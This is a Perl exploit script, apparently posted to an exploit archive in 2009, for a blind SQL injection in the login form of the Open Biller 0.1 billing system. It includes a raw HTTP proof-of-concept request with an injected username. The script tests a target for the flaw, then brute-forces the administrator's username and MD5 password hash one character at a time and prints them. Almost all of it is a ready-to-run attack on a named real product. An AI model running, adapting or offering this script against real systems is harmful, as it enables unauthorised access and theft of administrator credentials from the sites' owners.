(Post Form login var 'username') BLIND SQLi exploit--Open Biller 0.1-->

[y3nh4ck3r () gmail com]

#!/usr/bin/perl
#
#------------------------------------------------------------------------
#(Post Form login var 'username') BLIND SQLi exploit--Open Biller 0.1-->
#------------------------------------------------------------------------
#
#CMS INFORMATION:
#
#-->WEB: http://sourceforge.net/projects/geekbill/
#-->DOWNLOAD: http://sourceforge.net/projects/geekbill/
#-->DEMO: N/A
#-->CATEGORY: CMS / Portal
#-->DESCRIPTION: Open Biller aims to to be a the best open source billing
#               system on the planet.The system is written in PHP/MYSQL...
#-->RELEASED: 2009-05-31
#
#CMS VULNERABILITY:
#
#-->TESTED ON: firefox 3
#-->DORK: N/A
#-->CATEGORY: BLIND SQLi exploit
#-->AFFECT VERSION: CURRENT
#-->Discovered Bug date: 2009-06-09
#-->Reported Bug date: 2009-06-09
#-->Fixed bug date: N/A
#-->Info patch: N/A
#-->Author: YEnH4ckEr
#-->mail: y3nh4ck3r[at]gmail[dot]com
#-->WEB/BLOG: N/A
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)
#
#
#------------
#CONDITIONS:
#------------
#
#magic quotes=OFF
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#POST http://[HOST]/[PATH]/index.php HTTP/1.1
#Host: [HOST]
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
#Referer: http://[HOST]/[PATH]/
#
#username=%27+or+1%3D0%23&pass=1111&submit=Login
#
#username=%27+or+1%3D0%23&pass=1111&submit=Login
#
#
#######################################################################
#######################################################################
##*******************************************************************##
##  SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray, Evil1 ...  ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
##              GREETZ TO: SPANISH H4ck3Rs community!                ##
##*******************************************************************##
#######################################################################
#######################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
        my $SO = $^O;
        my $linux = "";
        if (index(lc($SO),"win")!=-1){
                $linux="0";
        }else{
                $linux="1";
        }               
        if($linux){
                system("clear");
        }
        else{
                system("cls");
                system ("title Open Biller 0.1 Blind SQL Injection Exploit");
                system ("color 04");
        }
}
sub request {
        my $userag = LWP::UserAgent->new;
        $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
        $request = HTTP::Request -> new(POST => $_[0]);
        $request->referer($_[0]);
        $request->content_type('application/x-www-form-urlencoded');
        $request->content($_[1]);
        my $outcode= $userag->request($request)->as_string;
        #print $outcode; #--> Active this line for debugger mode
        #print $request->as_string; #--> Active this line for debugger mode
        return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
        print "\tWeb isn't vulnerable!\n\n";
        print "\t--->Maybe:\n\n";
        print "\t\t1.-Patched.\n";
        print "\t\t2.-Bad path or host.\n";
        print "\t\t5.-Magic quotes ON'.\n";
        print "\t\tEXPLOIT FAILED!\n";
        print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
        print "\t-----------------------------------------------------------------\n";
        print "\tWEB MAYBE BE VULNERABLE!\n\n";
        print "\tTested Blind SQL Injection.\n";                
        print "\tStarting exploit...\n"; 
        print "\t-----------------------------------------------------------------\n\n";
}
sub helper {
        print "\n\t[!!!] Open Biller 0.1 Blind SQL Injection Exploit\n";
        print "\t[!!!] USAGE MODE: [!!!]\n";
        print "\t[!!!] perl $0 [HOST] [PATH]\n";
        print "\t[!!!] [HOST]: Web.\n";
        print "\t[!!!] [PATH]: Home Path.\n";
        print "\t[!!!] Example: perl $0 'www.example.com' 'demo'\n";
}
sub brute_length{
#Username length
$exit=0;
$i=0;
while($exit==0){
        my 
$blindsql="username='+OR+1=1+AND+(SELECT+length(username)+FROM+users+WHERE+ID=1)=".$i++."#&pass=1111&submit=Login"; 
#injected code
        $output=&request($_[0],$blindsql);
        if($output =~ (/Incorrect password, please try again./)){
                $exit=1;
        }else{
                $exit=0;
        }
        #This is the max length of username
        if($i>60){
        &error;
        exit(1);
        }
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength catched!\n";
print "\tLength Username --> ".$length."\n";
print "\tWait several minutes...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing values
$values="";
$k=1;
        $z=45;
        while(($k<=$_[1]) && ($z<=126)){
                my 
$blindsql="username='+OR+1=1+AND+ascii(substring((SELECT+".$_[2]."+FROM+users+WHERE+ID=1),".$k.",1))=".$z."#&pass=1111&submit=Login";
                $output=&request($_[0],$blindsql);
                if($output =~ (/Incorrect password, please try again./))
                {
                        $values=$values.chr($z);
                        $k++;
                        $z=45;
                }
#new char
        $z++; 
        }
return $values;
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t##   Open Biller 0.1 Blind SQL Injection Exploit     ##\n\n";
print "\t##           Blind SQL Injection Exploit             ##\n\n"; 
print "\t##       ++Conditions: magic_quotes=OFF              ##\n\n";
print "\t##               Author: Y3nh4ck3r                   ##\n\n";
print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n";
print "\t##            Proud to be Spanish!                   ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
$numArgs = $#ARGV + 1;
if($numArgs<=1) 
        {
                &helper;
                exit(1);        
        }       
#Build uri
my $finalhost="http://".$host."/".$path."/index.php";;
$finalrequest = $finalhost;     
#Testing blind sql injection and magic_quotes (any error?)
$send_post1="username=%27+or+1%3D1%23&pass=1111&submit=Login";
$output1=&request($finalrequest,$send_post1);
$send_post2="username=%27+or+1%3D0%23&pass=1111&submit=Login";
$output2=&request($finalrequest,$send_post2);
if ($output1 eq $output2)
{    
        #Not injectable
        &error;
        exit(1); 
}else{ 
        #blind sql injection is available
        &testedblindsql;
}
#Bruteforcing length
$length_user=&brute_length($finalrequest);      
#Bruteforcing username...
$user=&exploiting($finalrequest,$length_user,'username');
#Bruteforcing password md5 hash...
$pwhash=&exploiting($finalrequest,32,'password');
#final checking
if((!$user) || (!$pwhash)){
        &error;
        exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t*********  EXPLOIT EXECUTED SUCCESSFULLY ********\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin-username: ".$user."\n";
print "\t\tAdmin-password: ".$pwhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3nh4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done